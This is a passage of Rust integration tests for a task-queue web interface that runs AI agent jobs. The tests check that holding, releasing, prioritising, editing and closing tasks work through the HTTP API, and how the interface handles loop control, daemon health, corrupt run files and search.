9044 s.parked = true;
9045 let task = Task::new(
9046 "t".to_owned(),
9047 "Do it".to_owned(),
9048 PathBuf::from("/repo/magi"),
9049 Source::Human,
9050 );
9051 let v = task_run_view(
9052 "20260902-140501-aaaa",
9053 Some(&s),
9054 RunSlot {
9055 n: 1,
9056 resumed: false,
9057 resumed_later: None,
9058 prior: None,
9059 last: true,
9060 },
9061 &task,
9062 );
9063 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9064 }
9065
9066 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9067 let mut s = flow_run(RunStatus::Implementing, edit);
9068 s.parked = false;
9069 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9070 task_run_view(
9071 "20260902-140501-aaaa",
9072 Some(&s),
9073 RunSlot {
9074 n: 1,
9075 resumed: false,
9076 resumed_later: Some(2),
9077 prior: None,
9078 last: false,
9079 },
9080 &task,
9081 )
9082 }
9083
9084 #[test]
9085 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9086 let v = earlier_pass_view(|_| {});
9087 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9088 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9089 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9090 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9091 assert_eq!(v.exit, RunExit::Interrupted);
9092 assert_eq!(v.attempt, AttemptCost::Unknown);
9093 }
9094
9095 #[test]
9096 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9097 let v = earlier_pass_view(|s| {
9098 s.quota.push(crate::run::QuotaLoss {
9099 seat: "judge-1".to_owned(),
9100 node: "judge".to_owned(),
9101 at: Timestamp::now(),
9102 reset: None,
9103 });
9104 });
9105 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9106 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9107 assert_eq!(v.attempt, AttemptCost::Unknown);
9108 }
9109
9110 #[test]
9111 fn the_current_pass_states_its_recorded_cause_and_cost() {
9112 let slot = || RunSlot {
9113 n: 1,
9114 resumed: false,
9115 resumed_later: None,
9116 prior: None,
9117 last: true,
9118 };
9119 let task = flow_task(&["20260902-140501-aaaa"]);
9120 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9121 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9122 assert_eq!(
9123 (v.exit, v.attempt),
9124 (RunExit::Parked, AttemptCost::Refunded)
9125 );
9126 let spent = flow_run(RunStatus::Blocked, |_| {});
9127 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9128 assert_eq!(v.attempt, AttemptCost::Spent);
9129 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9130 }
9131
9132 #[tokio::test]
9133 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9134 let f = Fixture::start().await;
9135 let queue = f.queue();
9136 let mut task = Task::new(
9137 "spent".to_owned(),
9138 "Try again".to_owned(),
9139 PathBuf::from("/repo/magi"),
9140 Source::Human,
9141 );
9142 task.start("20260902-140502-bbbb".to_owned());
9143 task.fail("agent gave up", 9);
9144 queue.put(&mut task).expect("file the task");
9145
9146 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9147 assert_eq!(held.status, 200);
9148 assert_eq!(held.json()["status_str"], "held");
9149
9150 let released = f
9151 .post(&format!("/api/queue/{}/release", task.id), None)
9152 .await;
9153 assert_eq!(released.status, 200);
9154 assert_eq!(released.json()["status_str"], "queued");
9155 assert_eq!(
9156 released.json()["attempts"],
9157 0,
9158 "release is a real second chance, not an instant re-hold"
9159 );
9160 assert_eq!(
9161 queue.get(&task.id).expect("reload").status,
9162 TaskStatus::Queued,
9163 "the change is on disk, not only in the reply"
9164 );
9165 assert!(
9166 !f.home
9167 .path()
9168 .join("queue")
9169 .join(format!("{}.lock", task.id))
9170 .exists(),
9171 "the claim the mutation took is released again"
9172 );
9173 }
9174
9175 #[tokio::test]
9176 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9177 let f = Fixture::start().await;
9178 let queue = f.queue();
9179 let mut task = Task::new(
9180 "busy".to_owned(),
9181 "Running right now".to_owned(),
9182 PathBuf::from("/repo/magi"),
9183 Source::Human,
9184 );
9185 queue.put(&mut task).expect("file the task");
9186 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9187
9188 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9189
9190 assert_eq!(res.status, 409);
9191 assert_eq!(
9192 queue.get(&task.id).expect("reload").status,
9193 TaskStatus::Queued,
9194 "the refused hold changed nothing"
9195 );
9196 }
9197
9198 #[tokio::test]
9199 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9200 let f = Fixture::start().await;
9201 let queue = f.queue();
9202 let mut task = Task::new(
9203 "waiting on the migration".to_owned(),
9204 "Do the thing".to_owned(),
9205 PathBuf::from("/repo/magi"),
9206 Source::Human,
9207 );
9208 queue.put(&mut task).expect("file the task");
9209
9210 let held = f
9211 .post(
9212 &format!("/api/queue/{}/hold", task.id),
9213 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9214 )
9215 .await;
9216 assert_eq!(held.status, 200, "{}", held.body);
9217 assert_eq!(held.json()["status_str"], "held");
9218 assert_eq!(
9219 held.json()["hold_reason"],
9220 "waiting for 20260101-000000-aaaa to land"
9221 );
9222
9223 let listed = f.get("/api/queue").await.json();
9224 assert_eq!(
9225 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9226 "the card reads the reason off the same list route"
9227 );
9228
9229 let mut plain = Task::new(
9232 "no reason given".to_owned(),
9233 "Do another thing".to_owned(),
9234 PathBuf::from("/repo/magi"),
9235 Source::Human,
9236 );
9237 queue.put(&mut plain).expect("file the task");
9238 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9239 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9240 assert!(held_plain.json()["hold_reason"].is_null());
9241
9242 let released = f
9243 .post(&format!("/api/queue/{}/release", task.id), None)
9244 .await;
9245 assert_eq!(released.status, 200);
9246 assert!(
9247 released.json()["hold_reason"].is_null(),
9248 "a release must clear the reason so the next hold does not inherit it"
9249 );
9250 }
9251
9252 #[tokio::test]
9253 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9254 let f = Fixture::start().await;
9255 let queue = f.queue();
9256 let mut older = Task::new(
9257 "filed first".to_owned(),
9258 "x".to_owned(),
9259 PathBuf::from("/repo/magi"),
9260 Source::Human,
9261 );
9262 older.id = "20260101-000001-aaaa".to_owned();
9263 let mut newer = Task::new(
9264 "filed second".to_owned(),
9265 "x".to_owned(),
9266 PathBuf::from("/repo/magi"),
9267 Source::Human,
9268 );
9269 newer.id = "20260101-000002-bbbb".to_owned();
9270 queue.put(&mut older).expect("file older");
9271 queue.put(&mut newer).expect("file newer");
9272
9273 let before = f.get("/api/queue").await.json();
9276 assert_eq!(before[0]["id"], newer.id);
9277 assert_eq!(before[1]["id"], older.id);
9278
9279 let raised = f
9283 .post(
9284 &format!("/api/queue/{}/priority", older.id),
9285 Some(r#"{"priority":10}"#),
9286 )
9287 .await;
9288 assert_eq!(raised.status, 200, "{}", raised.body);
9289 assert_eq!(raised.json()["priority"], 10);
9290
9291 let after = f.get("/api/queue").await.json();
9292 let names: Vec<&str> = after
9293 .as_array()
9294 .unwrap()
9295 .iter()
9296 .map(|t| t["id"].as_str().unwrap())
9297 .collect();
9298 assert_eq!(names[0], older.id, "the raised task now sorts first");
9302 }
9303
9304 #[tokio::test]
9305 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9306 let f = Fixture::start().await;
9307 let queue = f.queue();
9308 let mut task = Task::new(
9309 "in flight".to_owned(),
9310 "x".to_owned(),
9311 PathBuf::from("/repo/magi"),
9312 Source::Human,
9313 );
9314 task.start("20260902-140502-bbbb".to_owned());
9315 queue.put(&mut task).expect("file the task");
9316
9317 let res = f
9318 .post(
9319 &format!("/api/queue/{}/priority", task.id),
9320 Some(r#"{"priority":9}"#),
9321 )
9322 .await;
9323 assert_eq!(res.status, 400, "{}", res.body);
9324 assert!(
9325 res.json()["error"]
9326 .as_str()
9327 .is_some_and(|e| e.contains("running")),
9328 "{}",
9329 res.body
9330 );
9331 assert_eq!(
9332 queue.get(&task.id).expect("reload").priority,
9333 0,
9334 "the refused write must not partially apply"
9335 );
9336 }
9337
9338 #[tokio::test]
9339 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9340 let f = Fixture::start().await;
9341 let queue = f.queue();
9342 let mut task = Task::new(
9343 "old title".to_owned(),
9344 "old instruction".to_owned(),
9345 PathBuf::from("/repo/magi"),
9346 Source::Agent {
9347 run: "20260101-000000-beef".to_owned(),
9348 node: "implement".to_owned(),
9349 },
9350 );
9351 task.runs.push("20260101-000000-beef".to_owned());
9352 queue.put(&mut task).expect("file the task");
9353 let created_at = task.created_at;
9354
9355 let edited = f
9356 .post(
9357 &format!("/api/queue/{}/edit", task.id),
9358 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9359 )
9360 .await;
9361 assert_eq!(edited.status, 200, "{}", edited.body);
9362 let body = edited.json();
9363 assert_eq!(body["title"], "new title");
9364 assert_eq!(body["instruction"], "new instruction");
9365 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9366 assert_eq!(body["created_at"], created_at.to_string());
9367 assert_eq!(
9368 body["source"]["kind"], "agent",
9369 "editing a task an agent filed must not turn it human: {body}"
9370 );
9371 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9372
9373 let reloaded = queue.get(&task.id).expect("reload");
9374 assert_eq!(reloaded.title, "new title");
9375 assert_eq!(reloaded.instruction, "new instruction");
9376 }
9377
9378 #[tokio::test]
9379 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9380 let f = Fixture::start().await;
9381 let queue = f.queue();
9382 let mut owner = Task::new(
9383 "owner".to_owned(),
9384 "review it".to_owned(),
9385 PathBuf::from("/repo/magi"),
9386 Source::Human,
9387 );
9388 owner.review_branch = Some("magi/ab12/A".to_owned());
9389 queue.put(&mut owner).expect("file the owner");
9390 let mut task = Task::new(
9391 "draft".to_owned(),
9392 "old".to_owned(),
9393 PathBuf::from("/repo/magi"),
9394 Source::Human,
9395 );
9396 queue.put(&mut task).expect("file the draft");
9397 let url = format!("/api/queue/{}/edit", task.id);
9398
9399 let refused = f
9400 .post(
9401 &url,
9402 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9403 )
9404 .await;
9405 assert_eq!(refused.status, 409, "{}", refused.body);
9406 let msg = refused.json()["error"]
9407 .as_str()
9408 .unwrap_or_default()
9409 .to_owned();
9410 assert!(
9411 msg.contains("magi/ab12/A") && msg.contains("force"),
9412 "{msg}"
9413 );
9414 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9415
9416 let forced = f
9417 .post(
9418 &url,
9419 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9420 )
9421 .await;
9422 assert_eq!(forced.status, 200, "{}", forced.body);
9423 }
9424
9425 #[tokio::test]
9426 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9427 let f = Fixture::start().await;
9428 let queue = f.queue();
9429 let mut task = Task::new(
9430 "in flight".to_owned(),
9431 "do not touch".to_owned(),
9432 PathBuf::from("/repo/magi"),
9433 Source::Human,
9434 );
9435 task.start("20260902-140502-bbbb".to_owned());
9436 queue.put(&mut task).expect("file the task");
9437
9438 let res = f
9439 .post(
9440 &format!("/api/queue/{}/edit", task.id),
9441 Some(r#"{"title":"x","instruction":"y"}"#),
9442 )
9443 .await;
9444 assert_eq!(res.status, 400, "{}", res.body);
9445 assert!(
9446 res.json()["error"]
9447 .as_str()
9448 .is_some_and(|e| e.contains("running")),
9449 "{}",
9450 res.body
9451 );
9452 assert_eq!(
9453 queue.get(&task.id).expect("reload").instruction,
9454 "do not touch",
9455 "the refused edit must not change the file"
9456 );
9457 }
9458
9459 #[tokio::test]
9460 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9461 let f = Fixture::start().await;
9462 let queue = f.queue();
9463 let mut task = Task::new(
9464 "busy".to_owned(),
9465 "Running right now".to_owned(),
9466 PathBuf::from("/repo/magi"),
9467 Source::Human,
9468 );
9469 queue.put(&mut task).expect("file the task");
9470 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9471
9472 let priority = f
9473 .post(
9474 &format!("/api/queue/{}/priority", task.id),
9475 Some(r#"{"priority":9}"#),
9476 )
9477 .await;
9478 assert_eq!(priority.status, 409, "{}", priority.body);
9479
9480 let edit = f
9481 .post(
9482 &format!("/api/queue/{}/edit", task.id),
9483 Some(r#"{"title":"x","instruction":"y"}"#),
9484 )
9485 .await;
9486 assert_eq!(edit.status, 409, "{}", edit.body);
9487 }
9488
9489 #[tokio::test]
9490 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9491 let f = Fixture::start().await;
9492 let queue = f.queue();
9493 let mut task = Task::new(
9494 "shipped by hand".to_owned(),
9495 "merged outside the loop".to_owned(),
9496 PathBuf::from("/repo/magi"),
9497 Source::Agent {
9498 run: "20260101-000000-b455".to_owned(),
9499 node: "implement".to_owned(),
9500 },
9501 );
9502 task.runs.push("20260101-000000-b455".to_owned());
9503 task.runs.push("20260101-000000-9af4".to_owned());
9504 queue.put(&mut task).expect("file the task");
9505 let created_at = task.created_at;
9506
9507 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9508 assert_eq!(done.status, 200, "{}", done.body);
9509 assert_eq!(done.json()["status_str"], "done");
9510
9511 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9512 assert_eq!(
9513 reloaded.runs,
9514 ["20260101-000000-b455", "20260101-000000-9af4"]
9515 );
9516 assert_eq!(
9517 reloaded.source,
9518 Source::Agent {
9519 run: "20260101-000000-b455".to_owned(),
9520 node: "implement".to_owned(),
9521 }
9522 );
9523 assert_eq!(reloaded.created_at, created_at);
9524 }
9525
9526 #[tokio::test]
9527 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9528 let f = Fixture::start().await;
9533 let queue = f.queue();
9534 let mut task = Task::new(
9535 "landed while held".to_owned(),
9536 "x".to_owned(),
9537 PathBuf::from("/repo/magi"),
9538 Source::Human,
9539 );
9540 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9541 queue.put(&mut task).expect("file the held task");
9542
9543 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9544 assert_eq!(done.status, 200, "{}", done.body);
9545 assert_eq!(done.json()["status_str"], "done");
9546 assert!(
9547 done.json()["hold_reason"].is_null(),
9548 "a done task cannot still be waiting on something: {}",
9549 done.body
9550 );
9551 }
9552
9553 #[tokio::test]
9554 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9555 let f = Fixture::start().await;
9560 let queue = f.queue();
9561 let runs = f.runs();
9562 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9563 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9567
9568 let mut task = Task::new(
9569 "landed by hand".to_owned(),
9570 "x".to_owned(),
9571 PathBuf::from("/repo/magi"),
9572 Source::Human,
9573 );
9574 task.runs.push("20260101-000000-doa1".to_owned());
9575 task.runs.push("20260101-000000-doa2".to_owned());
9576 queue.put(&mut task).expect("file the task");
9577
9578 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9579 assert_eq!(done.status, 200, "{}", done.body);
9580
9581 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9582 .expect("run still on disk under this fixture's own home");
9583 assert_eq!(
9584 reloaded_run.status,
9585 RunStatus::Superseded,
9586 "closing the task by hand must relabel the earlier blocked attempt exactly \
9587 like the loop's own settle path does"
9588 );
9589 }
9590
9591 #[tokio::test]
9592 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9593 let f = Fixture::start().await;
9598 let queue = f.queue();
9599 let runs = f.runs();
9600 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9601 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9602
9603 let mut task = Task::new(
9604 "closed with nothing actually landed".to_owned(),
9605 "x".to_owned(),
9606 PathBuf::from("/repo/magi"),
9607 Source::Human,
9608 );
9609 task.runs.push("20260101-000000-dob1".to_owned());
9610 task.runs.push("20260101-000000-dob2".to_owned());
9611 queue.put(&mut task).expect("file the task");
9612
9613 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9614 assert_eq!(done.status, 200, "{}", done.body);
9615
9616 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9617 .expect("run still on disk under this fixture's own home");
9618 assert_eq!(
9619 reloaded_run.status,
9620 RunStatus::Blocked,
9621 "the last recorded attempt never landed, so the earlier one must not be \
9622 relabelled as superseded by it"
9623 );
9624 }
9625
9626 #[tokio::test]
9627 async fn unknown_ids_are_json_not_found_on_both_stores() {
9628 let f = Fixture::start().await;
9629
9630 let run = f.get("/api/runs/nosuchrun").await;
9631 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9632
9633 assert_eq!(run.status, 404);
9634 assert_eq!(task.status, 404);
9635 assert!(
9636 run.json()["error"]
9637 .as_str()
9638 .is_some_and(|e| e.contains("run")),
9639 "the error names what was not found: {}",
9640 run.body
9641 );
9642 assert!(
9643 task.json()["error"]
9644 .as_str()
9645 .is_some_and(|e| e.contains("task")),
9646 "the error names what was not found: {}",
9647 task.body
9648 );
9649 }
9650
9651 #[tokio::test]
9652 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9653 let f = Fixture::start().await;
9654
9655 let missing = f.get("/api/health").await.json();
9656 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9657
9658 write_daemon(
9659 f.home.path(),
9660 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9661 );
9662 let stale = f.get("/api/health").await.json();
9663 assert_eq!(
9664 stale["daemon"]["running"], false,
9665 "a minute without a heartbeat is a dead daemon, not a busy one"
9666 );
9667 assert!(
9668 stale["daemon"]["stale_for_secs"]
9669 .as_i64()
9670 .is_some_and(|s| s >= 55),
9671 "staleness is reported so the UI can say how long: {stale}"
9672 );
9673
9674 write_daemon(f.home.path(), Timestamp::now());
9675 let fresh = f.get("/api/health").await.json();
9676 assert_eq!(fresh["daemon"]["running"], true);
9677 assert_eq!(fresh["daemon"]["idle"], false);
9678 assert_eq!(fresh["daemon"]["pid"], 4242);
9679 assert_eq!(fresh["daemon"]["completed"], 7);
9680 assert_eq!(
9681 fresh["daemon"]["current"][0]["task"],
9682 "20260902-140501-aaaa"
9683 );
9684 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9685 }
9686
9687 #[tokio::test]
9688 async fn the_loop_is_not_running_until_something_starts_it() {
9689 let f = Fixture::start().await;
9690
9691 let view = f.get("/api/loop").await.json();
9692 assert_eq!(view["running"], false);
9693 assert_eq!(
9694 view["owned"], false,
9695 "nobody owns a loop that does not exist: {view}"
9696 );
9697 assert_eq!(view["stopping"], false);
9698 assert_eq!(view["last_error"], Value::Null);
9699 assert_eq!(view["daemon"]["running"], false);
9700 assert_eq!(
9701 view["repo"], "/repo/magi",
9702 "the repository a start would use, named before it is started"
9703 );
9704 }
9705
9706 #[tokio::test]
9707 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9708 let f = Fixture::start().await;
9709
9710 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9711 assert_eq!(res.status, 200, "{}", res.body);
9712 let view = res.json();
9713 assert_eq!(view["running"], true);
9714 assert_eq!(
9715 view["owned"], true,
9716 "the loop the UI started is the UI's own to stop: {view}"
9717 );
9718 assert_eq!(
9719 view["merge"],
9720 Value::Null,
9721 "no override was given, so each repository's own config decides"
9722 );
9723
9724 let health = f.get("/api/health").await.json();
9728 assert_eq!(health["loop"]["running"], true, "{health}");
9729 assert_eq!(health["loop"]["owned"], true, "{health}");
9730
9731 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9732 }
9733
9734 #[tokio::test]
9735 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9736 let f = Fixture::start().await;
9737 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9738 assert_eq!(first.status, 200, "{}", first.body);
9739
9740 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9741 assert_eq!(
9742 again.status, 409,
9743 "two loops on one queue race for the same claims: {}",
9744 again.body
9745 );
9746 assert!(
9747 again.json()["error"]
9748 .as_str()
9749 .is_some_and(|e| e.contains("already running the loop")),
9750 "the refusal has to say why: {}",
9751 again.body
9752 );
9753 assert_eq!(
9754 f.get("/api/loop").await.json()["running"],
9755 true,
9756 "and the loop that was already running is untouched by it"
9757 );
9758
9759 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9760 }
9761
9762 #[tokio::test]
9763 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9764 let f = Fixture::start().await;
9765 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9766
9767 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9768 assert_eq!(
9769 res.status, 200,
9770 "the answer must not wait for the loop: a run in flight is tens of \
9771 minutes and the operator is holding a phone: {}",
9772 res.body
9773 );
9774
9775 let view = settled(&f, |v| v["running"] == false).await;
9776 assert_eq!(view["owned"], false);
9777 assert_eq!(
9778 view["stopping"], false,
9779 "a loop that has stopped is not still stopping: {view}"
9780 );
9781 assert_eq!(
9782 view["last_error"],
9783 Value::Null,
9784 "a loop that was asked to stop did not fail: {view}"
9785 );
9786
9787 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9790 assert_eq!(twice.status, 200, "{}", twice.body);
9791 }
9792
9793 #[tokio::test]
9794 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9795 let f = Fixture::start().await;
9796 write_daemon(f.home.path(), Timestamp::now());
9799
9800 let view = f.get("/api/loop").await.json();
9801 assert_eq!(view["running"], false, "not in this process: {view}");
9802 assert_eq!(view["owned"], false, "and not this process's to control");
9803 assert_eq!(
9804 view["daemon"]["running"], true,
9805 "but a loop is alive somewhere, which is what the UI must say"
9806 );
9807 assert_eq!(view["daemon"]["pid"], 4242);
9808
9809 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9810 let res = f.post("/api/loop", Some(body)).await;
9811 assert_eq!(
9812 res.status, 409,
9813 "neither button may pretend to work on someone else's loop: {}",
9814 res.body
9815 );
9816 assert!(
9817 res.json()["error"]
9818 .as_str()
9819 .is_some_and(|e| e.contains("4242")),
9820 "the refusal has to name the process the operator must go to: {}",
9821 res.body
9822 );
9823 }
9824 assert_eq!(
9825 f.get("/api/loop").await.json()["running"],
9826 false,
9827 "and the refusal started nothing"
9828 );
9829 }
9830
9831 #[tokio::test]
9832 async fn a_stale_status_file_is_not_a_foreign_owner() {
9833 let f = Fixture::start().await;
9834 write_daemon(
9835 f.home.path(),
9836 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9837 );
9838
9839 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9840 assert_eq!(
9841 res.status, 200,
9842 "a daemon killed a minute ago must not lock the loop out of its \
9843 own home for good: {}",
9844 res.body
9845 );
9846 assert_eq!(res.json()["running"], true);
9847
9848 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9849 }
9850
9851 #[tokio::test]
9852 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9853 let f = Fixture::start().await;
9854 let before = f.get("/api/health").await.json()["loop_rev"]
9855 .as_u64()
9856 .expect("a loop revision");
9857
9858 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9859
9860 let after = f.get("/api/health").await.json()["loop_rev"]
9861 .as_u64()
9862 .expect("a loop revision");
9863 assert!(
9864 after > before,
9865 "the loop is in-process state, so this counter is the only thing \
9866 that tells a second device the first one started it: {before} -> \
9867 {after}"
9868 );
9869
9870 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9871 }
9872
9873 #[tokio::test]
9874 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9875 let f = Fixture::with_loop(launch_broken).await;
9876
9877 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9878 assert_eq!(
9879 res.status, 200,
9880 "starting it is not the failure: {}",
9881 res.body
9882 );
9883
9884 let view = settled(&f, |v| v["last_error"].is_string()).await;
9885 assert_eq!(
9886 view["running"], false,
9887 "a loop that died must not read as running, or the operator has \
9888 nothing to press: {view}"
9889 );
9890 assert_eq!(view["owned"], false);
9891 assert!(
9892 view["last_error"]
9893 .as_str()
9894 .is_some_and(|e| e.contains("read-only file system")),
9895 "the phone is where a loop that died at 3am is visible: {view}"
9896 );
9897
9898 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9901 assert_eq!(again.status, 200, "{}", again.body);
9902 assert_eq!(
9903 again.json()["last_error"],
9904 Value::Null,
9905 "a fresh start does not keep showing why the last one died"
9906 );
9907 }
9908
9909 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9921 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9922 let home = TempDir::new().expect("temp home");
9923 let runs = home.path().join("runs");
9924 std::fs::create_dir_all(&runs).expect("runs dir");
9925 let ui = Ui::new(
9926 Queue::at(home.path().join("queue")),
9927 Questions::at(home.path().join("questions")),
9928 Talks::at(home.path().join("talks")),
9929 runs,
9930 home.path().to_path_buf(),
9931 PathBuf::from("/repo/magi"),
9932 )
9933 .with_worktrees_root(home.path().join("wt"))
9934 .with_launch(launch_knocking_on_the_way_out);
9935 let looping = ui.looping();
9936 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9937 .await
9938 .expect("bind loopback");
9939 let addr = listener.local_addr().expect("local addr");
9940 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9941 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9942
9943 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9944 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9945
9946 let bound = std::sync::Mutex::new(None);
9961 hand_over(home.path(), &looping, served, |_| {
9962 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9963 let attempt = loop {
9964 match std::net::TcpListener::bind(addr) {
9965 Ok(l) => {
9966 drop(l);
9967 break Ok(());
9968 }
9969 Err(e)
9970 if e.kind() == std::io::ErrorKind::AddrInUse
9971 && std::time::Instant::now() < deadline =>
9972 {
9973 std::thread::sleep(std::time::Duration::from_millis(10));
9974 }
9975 Err(e) => break Err(e.to_string()),
9976 }
9977 };
9978 *bound.lock().expect("bound") = Some(attempt);
9979 Ok(())
9980 })
9981 .await
9982 .expect("hand over");
9983
9984 assert_eq!(
9985 *PARK_HEARD.lock().expect("park heard"),
9986 Some(200),
9987 "the deck must answer while the loop is parking"
9988 );
9989 let attempt = bound
9990 .lock()
9991 .expect("bound")
9992 .take()
9993 .expect("the successor was started");
9994 assert!(
9995 attempt.is_ok(),
9996 "and the address must be free by the time it is: {attempt:?}"
9997 );
9998 }
9999
10000 #[tokio::test]
10001 async fn a_newer_daemon_status_file_still_renders() {
10002 let f = Fixture::start().await;
10003 std::fs::write(
10006 f.home.path().join("daemon.json"),
10007 serde_json::json!({
10008 "schema": 2,
10009 "updated_at": Timestamp::now().to_string(),
10010 "idle": true,
10011 "surprise": { "nested": [1, 2, 3] },
10012 })
10013 .to_string(),
10014 )
10015 .expect("write daemon.json");
10016
10017 let health = f.get("/api/health").await;
10018
10019 assert_eq!(health.status, 200);
10020 assert_eq!(health.json()["daemon"]["running"], true);
10021 }
10022
10023 #[tokio::test]
10024 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10025 let f = Fixture::start().await;
10026 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10027 let broken = f.runs().join("20260902-140502-bad");
10028 std::fs::create_dir_all(&broken).expect("run dir");
10029 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10030
10031 let list = f.get("/api/runs").await;
10032 let detail = f.get("/api/runs/20260902-140502-bad").await;
10033
10034 assert_eq!(list.status, 200);
10035 let listed = list.json();
10036 let ids: Vec<&str> = listed
10037 .as_array()
10038 .expect("an array")
10039 .iter()
10040 .map(|r| r["id"].as_str().expect("an id"))
10041 .collect();
10042 assert_eq!(
10043 ids,
10044 vec!["20260902-140501-good"],
10045 "one unreadable run must not cost the operator the whole history"
10046 );
10047 assert_eq!(detail.status, 500);
10048 assert!(
10049 detail.json()["error"]
10050 .as_str()
10051 .is_some_and(|e| e.contains("run.json")),
10052 "the failure names the file to look at: {}",
10053 detail.body
10054 );
10055 let health = f.get("/api/health").await;
10059 assert_eq!(health.json()["runs_unreadable"], 1);
10060 }
10061
10062 #[tokio::test]
10064 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10065 let f = Fixture::start().await;
10066 let runs = f.runs();
10067 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10068 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10069 let path = runs.join("20260902-140502-bbbb").join("run.json");
10072 let mut v: serde_json::Value =
10073 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10074 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10075 std::fs::write(&path, v.to_string()).unwrap();
10076 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
